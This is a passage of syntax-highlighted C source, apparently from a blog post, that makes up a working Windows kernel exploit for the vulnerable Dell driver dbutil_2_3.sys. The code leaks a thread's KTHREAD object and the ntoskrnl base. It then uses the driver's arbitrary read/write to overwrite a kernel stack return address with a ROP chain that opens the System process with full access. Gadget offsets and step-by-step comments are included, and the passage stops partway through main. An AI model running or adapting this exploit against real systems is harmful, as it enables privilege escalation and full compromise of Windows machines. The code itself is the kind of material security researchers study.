	<span class="p">}</span> <span class="k">while</span> <span class="p">(</span><span class="n">retValue</span> <span class="o">==</span> <span class="n">STATUS_INFO_LENGTH_MISMATCH</span><span class="p">);</span>

	<span class="c1">//</span>
	<span class="c1">// Verify the NTSTATUS code which broke the loop is STATUS_SUCCESS</span>
	<span class="c1">//</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">retValue</span> <span class="o">!=</span> <span class="n">STATUS_SUCCESS</span><span class="p">)</span>
	<span class="p">{</span>
		<span class="c1">//</span>
		<span class="c1">// Is out == NULL? If so, malloc failed and we can't free this memory</span>
		<span class="c1">// If it is NOT NULL, we can assume this memory is allocated. Free</span>
		<span class="c1">// it accordingly</span>
		<span class="c1">//</span>
		<span class="k">if</span> <span class="p">(</span><span class="n">out</span> <span class="o">!=</span> <span class="nb">NULL</span><span class="p">)</span>
		<span class="p">{</span>
			<span class="c1">//</span>
			<span class="c1">// Free the memory</span>
			<span class="c1">//</span>
			<span class="n">free</span><span class="p">(</span><span class="n">out</span><span class="p">);</span>

			<span class="c1">//</span>
			<span class="c1">// Bail out</span>
			<span class="c1">//</span>
			<span class="k">goto</span> <span class="n">exit</span><span class="p">;</span>
		<span class="p">}</span>

		<span class="c1">//</span>
		<span class="c1">// Bail out</span>
		<span class="c1">//</span>
		<span class="k">goto</span> <span class="n">exit</span><span class="p">;</span>
	<span class="p">}</span>
	<span class="k">else</span>
	<span class="p">{</span>
		<span class="c1">//</span>
		<span class="c1">// NtQuerySystemInformation should have succeeded</span>
		<span class="c1">// Parse all of the handles, find the current thread handle, and leak the corresponding object</span>
		<span class="c1">//</span>
		<span class="k">for</span> <span class="p">(</span><span class="n">ULONG</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">out</span><span class="o">-&gt;</span><span class="n">NumberOfHandles</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span>
		<span class="p">{</span>
			<span class="c1">//</span>
			<span class="c1">// Store the current object's type number</span>
			<span class="c1">// Thread object = 0x8</span>
			<span class="c1">//</span>
			<span class="n">DWORD</span> <span class="n">objectType</span> <span class="o">=</span> <span class="n">out</span><span class="o">-&gt;</span><span class="n">Handles</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">ObjectTypeNumber</span><span class="p">;</span>

			<span class="c1">//</span>
			<span class="c1">// Are we dealing with a handle from the current process?</span>
			<span class="c1">//</span>
			<span class="k">if</span> <span class="p">(</span><span class="n">out</span><span class="o">-&gt;</span><span class="n">Handles</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">ProcessId</span> <span class="o">==</span> <span class="n">GetCurrentProcessId</span><span class="p">())</span>
			<span class="p">{</span>
				<span class="c1">//</span>
				<span class="c1">// Is the handle the handle of the "dummy" thread we created?</span>
				<span class="c1">//</span>
				<span class="k">if</span> <span class="p">(</span><span class="n">dummythreadHandle</span> <span class="o">==</span> <span class="p">(</span><span class="n">HANDLE</span><span class="p">)</span><span class="n">out</span><span class="o">-&gt;</span><span class="n">Handles</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">Handle</span><span class="p">)</span>
				<span class="p">{</span>
					<span class="c1">//</span>
					<span class="c1">// Grab the actual KTHREAD object corresponding to the current thread</span>
					<span class="c1">//</span>
					<span class="n">ULONG64</span> <span class="n">kthreadObject</span> <span class="o">=</span> <span class="p">(</span><span class="n">ULONG64</span><span class="p">)</span><span class="n">out</span><span class="o">-&gt;</span><span class="n">Handles</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">Object</span><span class="p">;</span>

					<span class="c1">//</span>
					<span class="c1">// Free the memory</span>
					<span class="c1">//</span>
					<span class="n">free</span><span class="p">(</span><span class="n">out</span><span class="p">);</span>

					<span class="c1">//</span>
					<span class="c1">// Return the KTHREAD object</span>
					<span class="c1">//</span>
					<span class="k">return</span> <span class="n">kthreadObject</span><span class="p">;</span>
				<span class="p">}</span>
			<span class="p">}</span>
		<span class="p">}</span>
	<span class="p">}</span>

<span class="c1">//</span>
<span class="c1">// Execution comes here if an error is encountered</span>
<span class="c1">//</span>
<span class="nl">exit:</span>

	<span class="c1">//</span>
	<span class="c1">// Close the handle to the "dummy thread"</span>
	<span class="c1">//</span>
	<span class="n">CloseHandle</span><span class="p">(</span>
		<span class="n">dummythreadHandle</span>
	<span class="p">);</span>

	<span class="c1">//</span>
	<span class="c1">// Return the NTSTATUS error</span>
	<span class="c1">//</span>
	<span class="k">return</span> <span class="p">(</span><span class="n">ULONG64</span><span class="p">)</span><span class="n">retValue</span><span class="p">;</span>
<span class="p">}</span>

<span class="cm">/**
 * @brief Function used resolve the base address of ntoskrnl.exe.
 * @param Void.
 * @return ntoskrnl.exe base
 */</span>
<span class="n">ULONG64</span> <span class="nf">resolventBase</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
<span class="p">{</span>
	<span class="c1">//</span>
	<span class="c1">// Array to receive kernel-mode addresses</span>
	<span class="c1">//</span>
	<span class="n">LPVOID</span><span class="o">*</span> <span class="n">lpImageBase</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>

	<span class="c1">//</span>
	<span class="c1">// Size of the input array</span>
	<span class="c1">//</span>
	<span class="n">DWORD</span> <span class="n">cb</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>

	<span class="c1">//</span>
	<span class="c1">// Size of the array output (all load addresses).</span>
	<span class="c1">//</span>
	<span class="n">DWORD</span> <span class="n">lpcbNeeded</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>

	<span class="c1">//</span>
	<span class="c1">// Invoke EnumDeviceDrivers (and have it fail)</span>
	<span class="c1">// to receive the needed size of lpImageBase</span>
	<span class="c1">//</span>
	<span class="n">EnumDeviceDrivers</span><span class="p">(</span>
		<span class="n">lpImageBase</span><span class="p">,</span>
		<span class="n">cb</span><span class="p">,</span>
		<span class="o">&amp;</span><span class="n">lpcbNeeded</span>
	<span class="p">);</span>

	<span class="c1">//</span>
	<span class="c1">// lpcbNeeded should contain needed size</span>
	<span class="c1">//</span>
	<span class="n">lpImageBase</span> <span class="o">=</span> <span class="p">(</span><span class="n">LPVOID</span><span class="o">*</span><span class="p">)</span><span class="n">malloc</span><span class="p">(</span><span class="n">lpcbNeeded</span><span class="p">);</span>

	<span class="c1">//</span>
	<span class="c1">// Error handling</span>
	<span class="c1">//</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">lpImageBase</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">)</span>
	<span class="p">{</span>
		<span class="c1">//</span>
		<span class="c1">// Bail out</span>
		<span class="c1">// </span>
		<span class="k">goto</span> <span class="n">exit</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="c1">//</span>
	<span class="c1">// Assign lpcbNeeded to cb (cb needs to be size of the lpImageBase</span>
	<span class="c1">// array).</span>
	<span class="c1">//</span>
	<span class="n">cb</span> <span class="o">=</span> <span class="n">lpcbNeeded</span><span class="p">;</span>

	<span class="c1">//</span>
	<span class="c1">// Invoke EnumDeviceDrivers properly.</span>
	<span class="c1">//</span>
	<span class="n">BOOL</span> <span class="n">getAddrs</span> <span class="o">=</span> <span class="n">EnumDeviceDrivers</span><span class="p">(</span>
		<span class="n">lpImageBase</span><span class="p">,</span>
		<span class="n">cb</span><span class="p">,</span>
		<span class="o">&amp;</span><span class="n">lpcbNeeded</span>
	<span class="p">);</span>

	<span class="c1">//</span>
	<span class="c1">// Error handling</span>
	<span class="c1">//</span>
	<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">getAddrs</span><span class="p">)</span>
	<span class="p">{</span>
		<span class="c1">//</span>
		<span class="c1">// Bail out</span>
		<span class="c1">//</span>
		<span class="k">goto</span> <span class="n">exit</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="c1">//</span>
	<span class="c1">// The first element of the array is ntoskrnl.exe.</span>
	<span class="c1">//</span>
	<span class="k">return</span> <span class="p">(</span><span class="n">ULONG64</span><span class="p">)</span><span class="n">lpImageBase</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span>

<span class="c1">//</span>
<span class="c1">// Execution reaches here if an error occurs</span>
<span class="c1">//</span>
<span class="nl">exit:</span>

	<span class="c1">//</span>
	<span class="c1">// Return an error.</span>
	<span class="c1">//</span>
	<span class="k">return</span> <span class="p">(</span><span class="n">ULONG64</span><span class="p">)</span><span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>

<span class="cm">/**
 * @brief Function used write a ROP chain to the kernel-mode stack
 *
 * This function takes the previously-leaked KTHREAD object of
 * our "dummy thread", extracts the StackBase member of the object
 * and writes the ROP chain to the kernel-mode stack leveraging the
 * write64() function.
 *
 * @param inHandle - A valid handle to the dbutil_2_3.sys.
 * @param dummyThread - A valid handle to our "dummy thread" in order to resume it.
 * @param KTHREAD - The KTHREAD object associated with the "dummy" thread.
 * @param ntBase - The base address of ntoskrnl.exe.
 * @return Result of the operation in the form of a boolean.
 */</span>
<span class="n">BOOL</span> <span class="nf">constructROPChain</span><span class="p">(</span><span class="n">HANDLE</span> <span class="n">inHandle</span><span class="p">,</span> <span class="n">HANDLE</span> <span class="n">dummyThread</span><span class="p">,</span> <span class="n">ULONG64</span> <span class="n">KTHREAD</span><span class="p">,</span> <span class="n">ULONG64</span> <span class="n">ntBase</span><span class="p">)</span>
<span class="p">{</span>
	<span class="c1">//</span>
	<span class="c1">// KTHREAD.StackBase = KTHREAD + 0x38</span>
	<span class="c1">//</span>
	<span class="n">ULONG64</span> <span class="n">kthreadstackBase</span> <span class="o">=</span> <span class="n">KTHREAD</span> <span class="o">+</span> <span class="mh">0x38</span><span class="p">;</span>

	<span class="c1">//</span>
	<span class="c1">// Dereference KTHREAD.StackBase to leak the stack</span>
	<span class="c1">//</span>
	<span class="n">ULONG64</span> <span class="n">stackBase</span> <span class="o">=</span> <span class="n">read64</span><span class="p">(</span><span class="n">inHandle</span><span class="p">,</span> <span class="n">kthreadstackBase</span><span class="p">);</span>

	<span class="c1">//</span>
	<span class="c1">// Error handling</span>
	<span class="c1">//</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">stackBase</span> <span class="o">==</span> <span class="p">(</span><span class="n">ULONG64</span><span class="p">)</span><span class="mi">1</span><span class="p">)</span>
	<span class="p">{</span>
		<span class="c1">//</span>
		<span class="c1">// Bail out</span>
		<span class="c1">//</span>
		<span class="k">goto</span> <span class="n">exit</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="c1">//</span>
	<span class="c1">// Print update</span>
	<span class="c1">//</span>
	<span class="n">printf</span><span class="p">(</span><span class="s">"[+] Leaked kernel-mode stack: 0x%llx</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">stackBase</span><span class="p">);</span>

	<span class="c1">//</span>
	<span class="c1">// Variable to store our target return address for nt!KiApcInterrupt</span>
	<span class="c1">//</span>
	<span class="n">ULONG64</span> <span class="n">retAddr</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>

	<span class="c1">//</span>
	<span class="c1">// Leverage the arbitrary write primitive to read the entire contents of the stack (seven pages = 0x7000)</span>
	<span class="c1">// 0x7000 isn't actually commited, so we start with 0x7000-0x8, since the stack grows towards the lower</span>
	<span class="c1">// addresses.</span>
	<span class="c1">//</span>
	<span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mh">0x8</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="mh">0x7000</span> <span class="o">-</span> <span class="mh">0x8</span><span class="p">;</span> <span class="n">i</span> <span class="o">+=</span> <span class="mh">0x8</span><span class="p">)</span>
	<span class="p">{</span>
		<span class="c1">//</span>
		<span class="c1">// Invoke read64() to dereference the stack</span>
		<span class="c1">//</span>
		<span class="n">ULONG64</span> <span class="n">value</span> <span class="o">=</span> <span class="n">read64</span><span class="p">(</span><span class="n">inHandle</span><span class="p">,</span> <span class="n">stackBase</span> <span class="o">-</span> <span class="n">i</span><span class="p">);</span>

		<span class="c1">//</span>
		<span class="c1">// Kernel-mode address?</span>
		<span class="c1">//</span>
		<span class="k">if</span> <span class="p">((</span><span class="n">value</span> <span class="o">&amp;</span> <span class="mh">0xfffff00000000000</span><span class="p">)</span> <span class="o">==</span> <span class="mh">0xfffff00000000000</span><span class="p">)</span>
		<span class="p">{</span>
			<span class="c1">//</span>
			<span class="c1">// nt!KiApcInterrupt+0x328?</span>
			<span class="c1">//</span>
			<span class="k">if</span> <span class="p">(</span><span class="n">value</span> <span class="o">==</span> <span class="n">ntBase</span> <span class="o">+</span> <span class="mh">0x41b718</span><span class="p">)</span>
			<span class="p">{</span>
				<span class="c1">//</span>
				<span class="c1">// Print update</span>
				<span class="c1">//</span>
				<span class="n">printf</span><span class="p">(</span><span class="s">"[+] Leaked target return address of nt!KiApcInterrupt!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>

				<span class="c1">//</span>
				<span class="c1">// Store the current value of stackBase - i, which is nt!KiApcInterrupt+0x328</span>
				<span class="c1">//</span>
				<span class="n">retAddr</span> <span class="o">=</span> <span class="n">stackBase</span> <span class="o">-</span> <span class="n">i</span><span class="p">;</span>

				<span class="c1">//</span>
				<span class="c1">// Break the loop if we find our address</span>
				<span class="c1">//</span>
				<span class="k">break</span><span class="p">;</span>
			<span class="p">}</span>
		<span class="p">}</span>

		<span class="c1">//</span>
		<span class="c1">// Reset the value</span>
		<span class="c1">//</span>
		<span class="n">value</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="c1">//</span>
	<span class="c1">// Print update</span>
	<span class="c1">//</span>
	<span class="n">printf</span><span class="p">(</span><span class="s">"[+] Stack address: 0x%llx contains nt!KiApcInterrupt+0x328!</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">retAddr</span><span class="p">);</span>

	<span class="c1">//</span>
	<span class="c1">// Handle to the System process</span>
	<span class="c1">//</span>
	<span class="n">HANDLE</span> <span class="n">systemprocHandle</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>

	<span class="c1">//</span>
	<span class="c1">// CLIENT_ID</span>
	<span class="c1">//</span>
	<span class="n">CLIENT_ID</span> <span class="n">clientId</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">0</span> <span class="p">};</span>
	<span class="n">clientId</span><span class="p">.</span><span class="n">UniqueProcess</span> <span class="o">=</span> <span class="n">ULongToHandle</span><span class="p">(</span><span class="mi">4</span><span class="p">);</span>
	<span class="n">clientId</span><span class="p">.</span><span class="n">UniqueThread</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>

	<span class="c1">//</span>
	<span class="c1">// Declare OBJECT_ATTRIBUTES</span>
	<span class="c1">//</span>
	<span class="n">OBJECT_ATTRIBUTES</span> <span class="n">objAttrs</span> <span class="o">=</span> <span class="p">{</span> <span class="mi">0</span> <span class="p">};</span>

	<span class="c1">//</span>
	<span class="c1">// memset the buffer to 0</span>
	<span class="c1">//</span>
	<span class="n">memset</span><span class="p">(</span><span class="o">&amp;</span><span class="n">objAttrs</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">objAttrs</span><span class="p">));</span>

	<span class="c1">//</span>
	<span class="c1">// Set members</span>
	<span class="c1">//</span>
	<span class="n">objAttrs</span><span class="p">.</span><span class="n">ObjectName</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
	<span class="n">objAttrs</span><span class="p">.</span><span class="n">Length</span> <span class="o">=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">objAttrs</span><span class="p">);</span>
	
	<span class="c1">//</span>
	<span class="c1">// Begin ROP chain</span>
	<span class="c1">//</span>
	<span class="n">write64</span><span class="p">(</span><span class="n">inHandle</span><span class="p">,</span> <span class="n">retAddr</span><span class="p">,</span> <span class="n">ntBase</span> <span class="o">+</span> <span class="mh">0xa50296</span><span class="p">);</span>				<span class="c1">// 0x140a50296: pop rcx ; ret ; \x40\x59\xc3 (1 found)</span>
	<span class="n">write64</span><span class="p">(</span><span class="n">inHandle</span><span class="p">,</span> <span class="n">retAddr</span> <span class="o">+</span> <span class="mh">0x8</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">systemprocHandle</span><span class="p">);</span>		<span class="c1">// HANDLE (to receive System process handle)</span>
	<span class="n">write64</span><span class="p">(</span><span class="n">inHandle</span><span class="p">,</span> <span class="n">retAddr</span> <span class="o">+</span> <span class="mh">0x10</span><span class="p">,</span> <span class="n">ntBase</span> <span class="o">+</span> <span class="mh">0x99493a</span><span class="p">);</span>		<span class="c1">// 0x14099493a: pop rdx ; ret ; \x5a\x46\xc3 (1 found)</span>
	<span class="n">write64</span><span class="p">(</span><span class="n">inHandle</span><span class="p">,</span> <span class="n">retAddr</span> <span class="o">+</span> <span class="mh">0x18</span><span class="p">,</span> <span class="n">PROCESS_ALL_ACCESS</span><span class="p">);</span>		<span class="c1">// PROCESS_ALL_ACCESS</span>
	<span class="n">write64</span><span class="p">(</span><span class="n">inHandle</span><span class="p">,</span> <span class="n">retAddr</span> <span class="o">+</span> <span class="mh">0x20</span><span class="p">,</span> <span class="n">ntBase</span> <span class="o">+</span> <span class="mh">0x2e8281</span><span class="p">);</span>		<span class="c1">// 0x1402e8281: pop r8 ; ret ; \x41\x58\xc3 (1 found)</span>
	<span class="n">write64</span><span class="p">(</span><span class="n">inHandle</span><span class="p">,</span> <span class="n">retAddr</span> <span class="o">+</span> <span class="mh">0x28</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">objAttrs</span><span class="p">);</span>				<span class="c1">// OBJECT_ATTRIBUTES</span>
	<span class="n">write64</span><span class="p">(</span><span class="n">inHandle</span><span class="p">,</span> <span class="n">retAddr</span> <span class="o">+</span> <span class="mh">0x30</span><span class="p">,</span> <span class="n">ntBase</span> <span class="o">+</span> <span class="mh">0x42a123</span><span class="p">);</span>		<span class="c1">// 0x14042a123: pop r9 ; ret ; \x41\x59\xc3 (1 found)</span>
	<span class="n">write64</span><span class="p">(</span><span class="n">inHandle</span><span class="p">,</span> <span class="n">retAddr</span> <span class="o">+</span> <span class="mh">0x38</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">clientId</span><span class="p">);</span>				<span class="c1">// CLIENT_ID</span>
	<span class="n">write64</span><span class="p">(</span><span class="n">inHandle</span><span class="p">,</span> <span class="n">retAddr</span> <span class="o">+</span> <span class="mh">0x40</span><span class="p">,</span> <span class="n">ntBase</span> <span class="o">+</span> <span class="mh">0x6360a6</span><span class="p">);</span>		<span class="c1">// 0x1406360a6: pop rax ; ret ; \x58\xc3 (1 found)</span>
	<span class="n">write64</span><span class="p">(</span><span class="n">inHandle</span><span class="p">,</span> <span class="n">retAddr</span> <span class="o">+</span> <span class="mh">0x48</span><span class="p">,</span> <span class="n">ntBase</span> <span class="o">+</span> <span class="mh">0x413210</span><span class="p">);</span>		<span class="c1">// nt!ZwOpenProcess</span>
	<span class="n">write64</span><span class="p">(</span><span class="n">inHandle</span><span class="p">,</span> <span class="n">retAddr</span> <span class="o">+</span> <span class="mh">0x50</span><span class="p">,</span> <span class="n">ntBase</span> <span class="o">+</span> <span class="mh">0xab533e</span><span class="p">);</span>		<span class="c1">// 0x140ab533e: jmp rax; \x48\xff\xe0 (1 found)</span>
	<span class="n">write64</span><span class="p">(</span><span class="n">inHandle</span><span class="p">,</span> <span class="n">retAddr</span> <span class="o">+</span> <span class="mh">0x58</span><span class="p">,</span> <span class="n">ntBase</span> <span class="o">+</span> <span class="mh">0xa50296</span><span class="p">);</span>		<span class="c1">// 0x140a50296: pop rcx ; ret ; \x40\x59\xc3 (1 found)</span>
	<span class="n">write64</span><span class="p">(</span><span class="n">inHandle</span><span class="p">,</span> <span class="n">retAddr</span> <span class="o">+</span> <span class="mh">0x60</span><span class="p">,</span> <span class="p">(</span><span class="n">ULONG64</span><span class="p">)</span><span class="n">dummyThread</span><span class="p">);</span>	<span class="c1">// HANDLE to the dummy thread</span>
	<span class="n">write64</span><span class="p">(</span><span class="n">inHandle</span><span class="p">,</span> <span class="n">retAddr</span> <span class="o">+</span> <span class="mh">0x68</span><span class="p">,</span> <span class="n">ntBase</span> <span class="o">+</span> <span class="mh">0x99493a</span><span class="p">);</span>		<span class="c1">// 0x14099493a: pop rdx ; ret ; \x5a\x46\xc3 (1 found)</span>
	<span class="n">write64</span><span class="p">(</span><span class="n">inHandle</span><span class="p">,</span> <span class="n">retAddr</span> <span class="o">+</span> <span class="mh">0x70</span><span class="p">,</span> <span class="mh">0x0000000000000000</span><span class="p">);</span>		<span class="c1">// Set exit code to STATUS_SUCCESS</span>
	<span class="n">write64</span><span class="p">(</span><span class="n">inHandle</span><span class="p">,</span> <span class="n">retAddr</span> <span class="o">+</span> <span class="mh">0x78</span><span class="p">,</span> <span class="n">ntBase</span> <span class="o">+</span> <span class="mh">0x6360a6</span><span class="p">);</span>		<span class="c1">// 0x1406360a6: pop rax ; ret ; \x58\xc3 (1 found)</span>
	<span class="n">write64</span><span class="p">(</span><span class="n">inHandle</span><span class="p">,</span> <span class="n">retAddr</span> <span class="o">+</span> <span class="mh">0x80</span><span class="p">,</span> <span class="n">ntBase</span> <span class="o">+</span> <span class="mh">0x4137b0</span><span class="p">);</span>		<span class="c1">// nt!ZwTerminateThread</span>
	<span class="n">write64</span><span class="p">(</span><span class="n">inHandle</span><span class="p">,</span> <span class="n">retAddr</span> <span class="o">+</span> <span class="mh">0x88</span><span class="p">,</span> <span class="n">ntBase</span> <span class="o">+</span> <span class="mh">0xab533e</span><span class="p">);</span>		<span class="c1">// 0x140ab533e: jmp rax; \x48\xff\xe0 (1 found)</span>
	
	<span class="c1">//</span>
	<span class="c1">// Resume the thread to kick off execution</span>
	<span class="c1">//</span>
	<span class="n">ResumeThread</span><span class="p">(</span><span class="n">dummyThread</span><span class="p">);</span>

	<span class="c1">//</span>
	<span class="c1">// Sleep Project2.ee for 1 second to allow the print update</span>
	<span class="c1">// to accurately display the System process handle</span>
	<span class="c1">//</span>
	<span class="n">Sleep</span><span class="p">(</span><span class="mi">1000</span><span class="p">);</span>

	<span class="c1">//</span>
	<span class="c1">// Print update</span>
	<span class="c1">//</span>
	<span class="n">printf</span><span class="p">(</span><span class="s">"[+] System process HANDLE: 0x%p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">systemprocHandle</span><span class="p">);</span>

<span class="c1">//</span>
<span class="c1">// Execution comes here if an error is encountered</span>
<span class="c1">//</span>
<span class="nl">exit:</span>

	<span class="c1">//</span>
	<span class="c1">// Return the NTSTATUS error</span>
	<span class="c1">//</span>
	<span class="k">return</span> <span class="p">(</span><span class="n">ULONG64</span><span class="p">)</span><span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>

<span class="cm">/**
 * @brief Exploit entry point.
 * @param Void.
 * @return Success (0) or failure (1).
 */</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
<span class="p">{</span>
	<span class="c1">//</span>
	<span class="c1">// Invoke getHandle() to get a handle to dbutil_2_3.sys</span>
	<span class="c1">//</span>
	<span class="n">HANDLE</span> <span class="n">driverHandle</span> <span class="o">=</span> <span class="n">getHandle</span><span class="p">();</span>

	<span class="c1">//</span>
	<span class="c1">// Error handling</span>
	<span class="c1">//</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">driverHandle</span> <span class="o">==</span> <span class="p">(</span><span class="n">HANDLE</span><span class="p">)</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span>
	<span class="p">{</span>
		<span class="c1">//</span>
		<span class="c1">// Print update</span>
		<span class="c1">//</span>
		<span class="n">printf</span><span class="p">(</span><span class="s">"[-] Error! Couldn't get a handle to dbutil_2_3.sys. Error: 0x%lx"</span><span class="p">,</span> <span class="n">GetLastError</span><span class="p">());</span>

		<span class="c1">//</span>
		<span class="c1">// Bail out</span>
		<span class="c1">//</span>
		<span class="k">goto</span> <span class="n">exit</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="c1">//</span>
	<span class="c1">// Print update</span>
	<span class="c1">//</span>
	<span class="n">printf</span><span class="p">(</span><span class="s">"[+] Obtained a handle to dbutil_2_3.sys! HANDLE value: %p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">driverHandle</span><span class="p">);</span>

	<span class="c1">//</span>
	<span class="c1">// Invoke getthreadHandle() to create our "dummy thread"</span>
	<span class="c1">//</span>
	<span class="n">HANDLE</span> <span class="n">getthreadHandle</span> <span class="o">=</span> <span class="n">createdummyThread</span><span class="p">();</span>

	<span class="c1">//</span>
	<span class="c1">// Error handling</span>
	<span class="c1">//</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">getthreadHandle</span> <span class="o">==</span> <span class="p">(</span><span class="n">HANDLE</span><span class="p">)</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span>
	<span class="p">{</span>
		<span class="c1">//</span>
		<span class="c1">// Print update</span>
		<span class="c1">//</span>
		<span class="n">printf</span><span class="p">(</span><span class="s">"[-] Error! Couldn't create the </span><span class="se">\"</span><span class="s">dummy thread</span><span class="se">\"</span><span class="s">. Error: 0x%lx</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">GetLastError</span><span class="p">());</span>

		<span class="c1">//</span>
		<span class="c1">// Bail out</span>
		<span class="c1">//</span>
		<span class="k">goto</span> <span class="n">exit</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="c1">//</span>
	<span class="c1">// Print update</span>
	<span class="c1">//</span>
	<span class="n">printf</span><span class="p">(</span><span class="s">"[+] Created the </span><span class="se">\"</span><span class="s">dummy thread</span><span class="se">\"</span><span class="s">!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>

	<span class="c1">//</span>
	<span class="c1">// Invoke leakStack()</span>
	<span class="c1">//</span>
	<span class="n">ULONG64</span> <span class="n">kthread</span> <span class="o">=</span> <span class="n">leakKTHREAD</span><span class="p">(</span><span class="n">getthreadHandle</span><span class="p">);</span>

	<span class="c1">//</span>
	<span class="c1">// Error handling (Negative value? NtQuerySystemInformation returns a negative NTSTATUS if it fails)</span>
	<span class="c1">//</span>
	<span class="k">if</span> <span class="p">((</span><span class="o">!</span><span class="n">kthread</span> <span class="o">&amp;</span> <span class="mh">0x80000000</span><span class="p">)</span> <span class="o">==</span> <span class="mh">0x80000000</span><span class="p">)</span>
	<span class="p">{</span>
		<span class="c1">//</span>
		<span class="c1">// Print update</span>
		<span class="c1">// kthread is an NTSTATUS code if execution reaches here</span>
		<span class="c1">//</span>
		<span class="n">printf</span><span class="p">(</span><span class="s">"[-] Error! Unable to leak the KTHREAD object of the </span><span class="se">\"</span><span class="s">dummy thread</span><span class="se">\"</span><span class="s">. Error: 0x%llx</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">kthread</span><span class="p">);</span>

		<span class="c1">//</span>
		<span class="c1">// Bail out</span>
		<span class="c1">//</span>
		<span class="k">goto</span> <span class="n">exit</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="c1">//</span>
	<span class="c1">// Error handling (kthread isn't negative - but is it a kernel-mode address?)</span>
	<span class="c1">//</span>
	<span class="k">else</span> <span class="k">if</span> <span class="p">((</span><span class="o">!</span><span class="n">kthread</span> <span class="o">&amp;</span> <span class="mh">0xffff00000000000</span><span class="p">)</span> <span class="o">==</span> <span class="mh">0xffff00000000000</span> <span class="o">||</span> <span class="p">((</span><span class="o">!</span><span class="n">kthread</span> <span class="o">&amp;</span> <span class="mh">0xfffff00000000000</span><span class="p">)</span> <span class="o">==</span> <span class="mh">0xfffff00000000000</span><span class="p">))</span>
	<span class="p">{</span>
		<span class="c1">//</span>
		<span class="c1">// Print update</span>
		<span class="c1">// kthread is an NTSTATUS code if execution reaches here</span>
		<span class="c1">//</span>
		<span class="n">printf</span><span class="p">(</span><span class="s">"[-] Error! Unable to leak the KTHREAD object of the </span><span class="se">\"</span><span class="s">dummy thread</span><span class="se">\"</span><span class="s">. Error: 0x%llx</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">kthread</span><span class="p">);</span>

		<span class="c1">//</span>
		<span class="c1">// Bail out</span>
		<span class="c1">//</span>
		<span class="k">goto</span> <span class="n">exit</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="c1">//</span>
	<span class="c1">// Print update</span>
	<span class="c1">//</span>
	<span class="n">printf</span><span class="p">(</span><span class="s">"[+] </span><span class="se">\"</span><span class="s">Dummy thread</span><span class="se">\"</span><span class="s"> KTHREAD object: 0x%llx</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">kthread</span><span class="p">);</span>

	<span class="c1">//</span>
	<span class="c1">// Invoke resolventBase() to retrieve the load address of ntoskrnl.exe</span>
	<span class="c1">//</span>
	<span class="n">ULONG64</span> <span class="n">ntBase</span> <span class="o">=</span> <span class="n">resolventBase</span><span class="p">();</span>

	<span class="c1">//</span>
	<span class="c1">// Error handling</span>
	<span class="c1">//</span>
	<span class="k">if</span> <span class="p">(</span><span class="n">ntBase</span> <span class="o">==</span> <span class="p">(</span><span class="n">ULONG64</span><span class="p">)</span><span class="mi">1</span><span class="p">)</span>
	<span class="p">{</span>
		<span class="c1">//</span>
		<span class="c1">// Bail out</span>
		<span class="c1">//</span>
		<span class="k">goto</span> <span class="n">exit</span><span class="p">;</span>
	<span class="p">}</span>

	<span class="c1">//</span>
	<span class="c1">// Invoke constructROPChain() to build our ROP chain and kick off execution</span>
	<span class="c1">//</span>
